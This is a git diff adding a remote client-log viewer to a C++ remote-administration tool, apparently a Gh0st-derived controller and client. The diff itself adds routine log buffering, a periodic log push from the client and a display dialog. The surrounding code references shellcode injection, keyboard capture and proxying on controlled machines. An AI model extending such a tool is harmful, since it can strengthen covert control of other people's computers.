diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj
index 80dbb25..b0aca5a 100644
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -181,6 +181,7 @@
+
@@ -228,6 +229,7 @@
+
diff --git a/client/ClientLogManager.cpp b/client/ClientLogManager.cpp
new file mode 100644
index 0000000..4adbe16
--- /dev/null
+++ b/client/ClientLogManager.cpp
@@ -0,0 +1,44 @@
+#include "stdafx.h"
+#include "ClientLogManager.h"
+#include "../common/commands.h"
+#include "../common/logger.h"
+
+CClientLogManager::CClientLogManager(IOCPClient* ClientObject, int n, void* p)
+ : CManager(ClientObject, n, p)
+ , m_sentIdx(0)
+ , m_running(true)
+{
+ SendLogDump();
+ m_pushThread = std::thread([this]() {
+ while (m_running && m_ClientObject->IsConnected()) {
+ for (int i = 0; i < 30 && m_running; ++i)
+ Sleep(100);
+ if (m_running && m_ClientObject->IsConnected())
+ SendLogDump();
+ }
+ });
+}
+
+CClientLogManager::~CClientLogManager()
+{
+ m_running = false;
+ if (m_pushThread.joinable())
+ m_pushThread.join();
+}
+
+VOID CClientLogManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
+{
+ if (ulLength >= 1 && szBuffer[0] == COMMAND_QUERY_LOG)
+ SendLogDump();
+}
+
+void CClientLogManager::SendLogDump()
+{
+ std::lock_guard lock(m_sendMutex);
+ std::string logs = Logger::getInstance().DumpMemoryLogFrom(m_sentIdx);
+ std::vector pkt(1 + logs.size());
+ pkt[0] = TOKEN_REPORT_LOG;
+ if (!logs.empty())
+ memcpy(pkt.data() + 1, logs.data(), logs.size());
+ Send(pkt.data(), (UINT)pkt.size());
+}
diff --git a/client/ClientLogManager.h b/client/ClientLogManager.h
new file mode 100644
index 0000000..0451eba
--- /dev/null
+++ b/client/ClientLogManager.h
@@ -0,0 +1,21 @@
+#pragma once
+#include "Manager.h"
+#include
+#include
+#include
+
+class CClientLogManager : public CManager
+{
+public:
+ CClientLogManager(IOCPClient* ClientObject, int n = 0, void* p = nullptr);
+ ~CClientLogManager();
+ virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
+
+private:
+ void SendLogDump();
+
+ size_t m_sentIdx;
+ std::mutex m_sendMutex;
+ std::atomic m_running;
+ std::thread m_pushThread;
+};
diff --git a/client/Common.cpp b/client/Common.cpp
index 5afa044..926b1ad 100644
--- a/client/Common.cpp
+++ b/client/Common.cpp
@@ -14,6 +14,7 @@
#include "VideoManager.h"
#include "KeyboardManager.h"
#include "ProxyManager.h"
+#include "ClientLogManager.h"
#include "KernelManager.h"
#include
@@ -152,3 +153,8 @@ DWORD WINAPI LoopProxyManager(LPVOID lParam)
{
return LoopManager(lParam);
}
+
+DWORD WINAPI LoopClientLogManager(LPVOID lParam)
+{
+ return LoopManager(lParam);
+}
diff --git a/client/Common.h b/client/Common.h
index 8445738..12ddd66 100644
--- a/client/Common.h
+++ b/client/Common.h
@@ -36,3 +36,4 @@ DWORD WINAPI LoopRegisterManager(LPVOID lParam);
DWORD WINAPI LoopServicesManager(LPVOID lParam);
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
DWORD WINAPI LoopProxyManager(LPVOID lParam);
+DWORD WINAPI LoopClientLogManager(LPVOID lParam);
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index a542843..0edfe1c 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -811,6 +811,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
std::string publicIP = m_ClientObject->GetClientIP();
switch (szBuffer[0]) {
+ case COMMAND_QUERY_LOG: {
+ auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+ sub->EnableSubConnAuth();
+ m_hThread[m_ulThreadCount].p = sub;
+ m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL);
+ break;
+ }
case CMD_SET_GROUP: {
std::string group = std::string((char*)szBuffer + 1);
m_cfg->SetStr("settings", "group_name", group);
diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj
index fcfe3e5..a49d3c3 100644
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -201,6 +201,7 @@
+
@@ -252,6 +253,7 @@
+
diff --git a/common/commands.h b/common/commands.h
index 005c7e7..bb698a7 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -313,7 +313,9 @@ enum {
COMMAND_SCREEN_ROI = 152, // 屏幕区域
COMMAND_SCREEN_WINDOW = 153, // 窗口捕获(标题字符串,空串=恢复全屏)
COMMAND_SCREEN_SIGNATURE = 154,
-
+ COMMAND_QUERY_LOG = 155,
+ TOKEN_REPORT_LOG = 156,
+
TOKEN_DECRYPT = 199,
TOKEN_REGEDIT = 200, // 注册表
COMMAND_REG_FIND, // 注册表 管理标识
diff --git a/common/logger.h b/common/logger.h
index 58a053a..f8c539f 100644
--- a/common/logger.h
+++ b/common/logger.h
@@ -29,6 +29,7 @@
#include
#include
#include
+#include
inline bool stringToBool(const std::string& str)
@@ -150,6 +151,16 @@ public:
std::string logEntry = file && line ?
id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message:
id + "[" + timestamp + "] " + message;
+
+ // Always record to in-memory ring buffer regardless of enable flag.
+ {
+ std::lock_guard lock(m_memMutex);
+ m_memLog.push_back(logEntry);
+ m_totalCount++;
+ if (m_memLog.size() > kMemLogMax)
+ m_memLog.pop_front();
+ }
+
if (enable) {
if (running) {
std::lock_guard lock(queueMutex);
@@ -168,6 +179,32 @@ public:
cv.notify_one(); // 通知写线程
}
+ // 返回内存 ring buffer 中的全部日志(供 TCP 查询使用)
+ std::string DumpMemoryLog() const
+ {
+ std::lock_guard lock(m_memMutex);
+ std::string result;
+ result.reserve(m_memLog.size() * 128);
+ for (const auto& entry : m_memLog)
+ result += entry;
+ return result;
+ }
+
+ // 增量版本:只返回 fromAbs 之后的新条目,并将 fromAbs 更新到当前末尾。
+ // fromAbs 是调用方维护的绝对计数器(首次传 0 即得全量)。
+ std::string DumpMemoryLogFrom(size_t& fromAbs) const
+ {
+ std::lock_guard lock(m_memMutex);
+ // ring buffer 内最旧条目的绝对序号
+ size_t oldest = (m_totalCount >= m_memLog.size()) ? m_totalCount - m_memLog.size() : 0;
+ size_t startIdx = (fromAbs <= oldest) ? 0 : (fromAbs - oldest);
+ std::string result;
+ for (size_t i = startIdx; i < m_memLog.size(); ++i)
+ result += m_memLog[i];
+ fromAbs = m_totalCount;
+ return result;
+ }
+
// 停止日志系统
void stop()
{
@@ -220,6 +257,11 @@ private:
std::mutex fileMutex; // 文件写入锁
std::string pid; // 进程ID
+ static constexpr size_t kMemLogMax = 1000;
+ std::deque m_memLog;
+ size_t m_totalCount = 0;
+ mutable std::mutex m_memMutex;
+
Logger() : enable(false), threadRun(false), running(true), workerThread(&Logger::processLogs, this) {}
~Logger()
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index 46b0a2b..4d2fb83 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 1d88d38..2beb10e 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -14,6 +14,7 @@
#include "ShellDlg.h"
#include "TerminalDlg.h"
#include "SystemDlg.h"
+#include "CClientLog.h"
#include "BuildDlg.h"
#include "AudioDlg.h"
#include "RegisterDlg.h"
@@ -644,6 +645,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
m_bmOnline[58].LoadBitmap(IDB_BITMAP_COPY);
m_bmOnline[59].LoadBitmap(IDB_BITMAP_ACTIVE_WND);
m_bmOnline[60].LoadBitmap(IDB_BITMAP_DEBUG);
+ m_bmOnline[61].LoadBitmap(IDB_BITMAP_CLIENTLOG);
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
m_ServerDLL[i] = nullptr;
m_ServerBin[i] = nullptr;
@@ -894,6 +896,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_MESSAGE(WM_INJECT_SHELLCODE, InjectShellcode)
ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen)
+ ON_MESSAGE(WM_OPENCLIENTLOGDIALOG, OnOpenClientLogDialog)
ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
@@ -999,6 +1002,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_ONLINE_ACTIVE_WND, &CMy2015RemoteDlg::OnOnlineActiveWnd)
ON_COMMAND(ID_ONLINE_VIEW_WND, &CMy2015RemoteDlg::OnOnlineWindowManager)
ON_COMMAND(ID_ENABLE_DEV_DEBUG, &CMy2015RemoteDlg::OnEnableDevDebug)
+ ON_COMMAND(ID_ONLINE_CLIENT_LOG, &CMy2015RemoteDlg::OnOnlineClientLog)
END_MESSAGE_MAP()
@@ -4049,6 +4053,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
Menu.SetMenuItemBitmaps(ID_CANCEL_SHARE, MF_BYCOMMAND, &m_bmOnline[50], &m_bmOnline[50]);
Menu.SetMenuItemBitmaps(ID_COPY_CLIENT_INFO, MF_BYCOMMAND, &m_bmOnline[58], &m_bmOnline[58]);
Menu.SetMenuItemBitmaps(ID_ONLINE_ACTIVE_WND, MF_BYCOMMAND, &m_bmOnline[59], &m_bmOnline[59]);
+ Menu.SetMenuItemBitmaps(ID_ONLINE_CLIENT_LOG, MF_BYCOMMAND, &m_bmOnline[61], &m_bmOnline[61]);
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
@@ -5234,6 +5239,20 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
// 【L】:主机上下线和授权
// 【x】:对话框相关功能
switch (cmd) {
+ case TOKEN_REPORT_LOG: {
+ std::string logText((char*)(szBuffer + 1), len > 1 ? len - 1 : 0);
+ if (!ContextObject->hDlg) {
+ // 对话框尚未打开:用 SendMessage 同步打开并显示初始全量日志
+ SendMessage(WM_OPENCLIENTLOGDIALOG,
+ (WPARAM)new std::string(logText),
+ (LPARAM)ContextObject);
+ } else {
+ // 对话框已在:PostMessage 追加增量日志
+ static_cast(ContextObject->hDlg)->PostMessage(
+ WM_REPORT_CLIENT_LOG, 0, (LPARAM)new std::string(logText));
+ }
+ break;
+ }
case TOKEN_CLIENT_MSG: {
ClientMsg *msg =(ClientMsg*)ContextObject->InDeCompressedBuffer.GetBuffer(0);
PostMessageA(WM_SHOWERRORMSG, (WPARAM)new CString(_L(msg->text)), (LPARAM)new CString(_L(msg->title)));
@@ -11533,3 +11552,24 @@ void CMy2015RemoteDlg::OnEnableDevDebug()
"YAMA_DBG=" + CString(debug), _L("提示"), MB_ICONINFORMATION);
}
}
+
+void CMy2015RemoteDlg::OnOnlineClientLog()
+{
+ BYTE cmd = COMMAND_QUERY_LOG;
+ SendSelectedCommand(&cmd, sizeof(BYTE));
+}
+
+LRESULT CMy2015RemoteDlg::OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam)
+{
+ std::string* pInitLog = reinterpret_cast(wParam);
+ std::string initLog = pInitLog ? *pInitLog : "";
+ delete pInitLog;
+
+ OpenDialog(0, lParam);
+
+ CONTEXT_OBJECT* ctx = reinterpret_cast(lParam);
+ if (ctx && ctx->hDlg && !initLog.empty())
+ static_cast(ctx->hDlg)->AppendLog(initLog);
+
+ return 0;
+}
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index 4a5d803..56ff46a 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -382,7 +382,7 @@ public:
bool IsDllRequestLimited(const std::string& ip);
void RecordDllRequest(const std::string& ip);
CMenu m_MainMenu;
- CBitmap m_bmOnline[61];
+ CBitmap m_bmOnline[62];
uint64_t m_superID;
std::map m_RemoteWnds;
FileTransformCmd m_CmdList;
@@ -637,4 +637,6 @@ public:
afx_msg void OnCopyClientInfo();
afx_msg void OnOnlineActiveWnd();
afx_msg void OnEnableDevDebug();
+ afx_msg void OnOnlineClientLog();
+ afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam);
};
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj
index c5d8f56..3c500dc 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -290,6 +290,7 @@
+
@@ -371,6 +372,7 @@
+
NotUsing
NotUsing
@@ -507,6 +509,7 @@
+
@@ -561,6 +564,7 @@
+
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
index b6ea1b8..96c5687 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
@@ -84,6 +84,7 @@
+
@@ -188,6 +189,7 @@
+
@@ -328,5 +330,7 @@
+
+
\ No newline at end of file
diff --git a/server/2015Remote/CClientLog.cpp b/server/2015Remote/CClientLog.cpp
new file mode 100644
index 0000000..c189e5c
--- /dev/null
+++ b/server/2015Remote/CClientLog.cpp
@@ -0,0 +1,106 @@
+// CClientLog.cpp: 实现文件
+
+#include "stdafx.h"
+#include "afxdialogex.h"
+#include "CClientLog.h"
+#include "resource.h"
+#include "../../common/commands.h"
+
+
+IMPLEMENT_DYNAMIC(CClientLog, CDialogEx)
+
+CClientLog::CClientLog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext)
+ : CDialogBase(IDD_DIALOG_CLIENT_LOG, pParent, pServer, pContext, 0)
+{
+}
+
+CClientLog::~CClientLog()
+{
+}
+
+void CClientLog::DoDataExchange(CDataExchange* pDX)
+{
+ CDialogBase::DoDataExchange(pDX);
+ DDX_Control(pDX, IDC_EDIT_LOG, m_editLog);
+}
+
+BEGIN_MESSAGE_MAP(CClientLog, CDialogBase)
+ ON_WM_DESTROY()
+ ON_WM_SIZE()
+ ON_MESSAGE(WM_REPORT_CLIENT_LOG, OnReportLog)
+END_MESSAGE_MAP()
+
+BOOL CClientLog::OnInitDialog()
+{
+ CDialogBase::OnInitDialog();
+ SetWindowText(_TR("客户端日志") + " - " + m_IPAddress);
+ HICON hIcon = AfxGetApp()->LoadIcon(IDI_CLIENTLOG);
+ SetIcon(hIcon, TRUE);
+ SetIcon(hIcon, FALSE);
+ CFont* pFont = new CFont();
+ pFont->CreatePointFont(85, _T("Consolas"));
+ m_editLog.SetFont(pFont);
+ return TRUE;
+}
+
+void CClientLog::OnSize(UINT nType, int cx, int cy)
+{
+ CDialogBase::OnSize(nType, cx, cy);
+ if (m_editLog.GetSafeHwnd() && cx > 0 && cy > 0)
+ m_editLog.MoveWindow(7, 7, cx - 14, cy - 14);
+}
+
+void CClientLog::OnDestroy()
+{
+ if (m_ContextObject && m_bConnected) {
+ BYTE cmd = COMMAND_BYE;
+ m_ContextObject->Send2Client(&cmd, 1);
+ }
+ CDialogBase::OnDestroy();
+}
+
+void CClientLog::AppendLog(const std::string& text)
+{
+ if (text.empty()) return;
+ // \n → \r\n,Windows 编辑框换行需要 \r\n
+ std::string norm;
+ norm.reserve(text.size() + 64);
+ for (size_t i = 0; i < text.size(); ++i) {
+ if (text[i] == '\n' && (i == 0 || text[i - 1] != '\r'))
+ norm += '\r';
+ norm += text[i];
+ }
+ // 超过 512KB 时截断旧内容
+ int existing = m_editLog.GetWindowTextLength();
+ if (existing > 512 * 1024) {
+ CString cur;
+ m_editLog.GetWindowText(cur);
+ m_editLog.SetWindowText(cur.Mid(cur.GetLength() - 256 * 1024));
+ }
+ // 追加到末尾并滚动
+ CString add = CA2T(norm.c_str(), CP_UTF8);
+ m_editLog.SetSel(-1, -1);
+ m_editLog.ReplaceSel(add);
+ m_editLog.SendMessage(EM_SCROLLCARET);
+}
+
+void CClientLog::OnReceiveComplete()
+{
+ auto& buf = m_ContextObject->InDeCompressedBuffer;
+ if (buf.GetBYTE(0) != TOKEN_REPORT_LOG)
+ return;
+ unsigned len = buf.GetBufferLen();
+ auto* pText = new std::string((char*)(buf.GetBuffer() + 1), len > 1 ? len - 1 : 0);
+ if (!PostMessage(WM_REPORT_CLIENT_LOG, 0, (LPARAM)pText))
+ delete pText;
+}
+
+LRESULT CClientLog::OnReportLog(WPARAM /*wParam*/, LPARAM lParam)
+{
+ std::string* pText = reinterpret_cast(lParam);
+ if (pText) {
+ AppendLog(*pText);
+ delete pText;
+ }
+ return 0;
+}
diff --git a/server/2015Remote/CClientLog.h b/server/2015Remote/CClientLog.h
new file mode 100644
index 0000000..d791403
--- /dev/null
+++ b/server/2015Remote/CClientLog.h
@@ -0,0 +1,31 @@
+#pragma once
+#include "afxcmn.h"
+#include "IOCPServer.h"
+
+class CClientLog : public CDialogBase
+{
+ DECLARE_DYNAMIC(CClientLog)
+
+public:
+ CClientLog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext);
+ virtual ~CClientLog();
+
+ virtual void OnReceiveComplete();
+ void AppendLog(const std::string& text);
+
+protected:
+ virtual BOOL OnInitDialog();
+ virtual void DoDataExchange(CDataExchange* pDX);
+ afx_msg void OnDestroy();
+ afx_msg void OnSize(UINT nType, int cx, int cy);
+ afx_msg LRESULT OnReportLog(WPARAM wParam, LPARAM lParam);
+
+ DECLARE_MESSAGE_MAP()
+
+private:
+ CEdit m_editLog;
+
+#ifdef AFX_DESIGN_TIME
+ enum { IDD = IDD_DIALOG_CLIENT_LOG };
+#endif
+};
diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini
index 4c9ecac..45b42fd 100644
--- a/server/2015Remote/lang/en_US.ini
+++ b/server/2015Remote/lang/en_US.ini
@@ -1954,3 +1954,5 @@ FRPC Զ
û=Set YAMA_DBG
óɹ! ͵=Successful! Please restart program and debugger.
ʧ! ͨȨ, ֶϵͳá=Failed! You have to set it via system environment center.
+־=Client Log
+ͻ־=Client Log
diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini
index 4fab31c..86ee1f0 100644
--- a/server/2015Remote/lang/zh_TW.ini
+++ b/server/2015Remote/lang/zh_TW.ini
@@ -1945,3 +1945,5 @@ FRPC Զ
û=û
óɹ! ͵=óɹ! ͵
ʧ! ͨȨ, ֶϵͳá=ʧ! ͨȨ, ֶϵͳá
+־=־
+ͻ־=ͻ־
diff --git a/server/2015Remote/res/Bitmap/ClientLog.bmp b/server/2015Remote/res/Bitmap/ClientLog.bmp
new file mode 100644
index 0000000..4fd8269
Binary files /dev/null and b/server/2015Remote/res/Bitmap/ClientLog.bmp differ
diff --git a/server/2015Remote/res/ClientLog.ico b/server/2015Remote/res/ClientLog.ico
new file mode 100644
index 0000000..0bf1e35
Binary files /dev/null and b/server/2015Remote/res/ClientLog.ico differ
diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h
index 66aa8ab..0520e1e 100644
--- a/server/2015Remote/resource.h
+++ b/server/2015Remote/resource.h
@@ -271,8 +271,11 @@
#define IDB_BITMAP_ACTIVE_WND 390
#define IDR_BINARY8 391
#define IDR_ANDROID_GHOST 391
-#define IDB_BITMAP11 392
#define IDB_BITMAP_DEBUG 392
+#define IDD_DIALOG8 393
+#define IDD_DIALOG_CLIENT_LOG 393
+#define IDB_BITMAP_CLIENTLOG 395
+#define IDI_CLIENTLOG 396
#define IDC_MESSAGE 1000
#define IDC_ONLINE 1001
#define IDC_STATIC_TIPS 1002
@@ -756,6 +759,7 @@
#define IDC_LIST_TRIGGERS 2543
#define IDC_STATIC_TRIGGER_TYPE 2544
#define IDC_STATIC_TRIGGER_ACTION 2545
+#define IDC_EDIT_LOG 2546
#define ID_ONLINE_UPDATE 32772
#define ID_ONLINE_MESSAGE 32773
#define ID_ONLINE_DELETE 32775
@@ -1015,14 +1019,16 @@
#define ID_ONLINE_VIEW_WND 33070
#define ID_33071 33071
#define ID_ENABLE_DEV_DEBUG 33072
+#define ID_ONLINE_33073 33073
+#define ID_ONLINE_CLIENT_LOG 33074
#define ID_EXIT_FULLSCREEN 40001
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE 393
-#define _APS_NEXT_COMMAND_VALUE 33073
+#define _APS_NEXT_RESOURCE_VALUE 397
+#define _APS_NEXT_COMMAND_VALUE 33075
#define _APS_NEXT_CONTROL_VALUE 2542
#define _APS_NEXT_SYMED_VALUE 105
#endif
diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h
index d1db944..e211191 100644
--- a/server/2015Remote/stdafx.h
+++ b/server/2015Remote/stdafx.h
@@ -110,6 +110,8 @@
#define WM_SPLITTER_MOVED WM_USER+3040
#define WM_SPLITTER_RELEASED WM_USER+3041
#define WM_OPEN_WINDOW_SCREEN WM_USER+3042 // 窗口管理→打开指定窗口远程画面
+#define WM_OPENCLIENTLOGDIALOG WM_USER+3043 // 打开客户端日志对话框
+#define WM_REPORT_CLIENT_LOG WM_USER+3044 // 追加日志到已打开的对话框
#ifdef _UNICODE
#if defined _M_IX86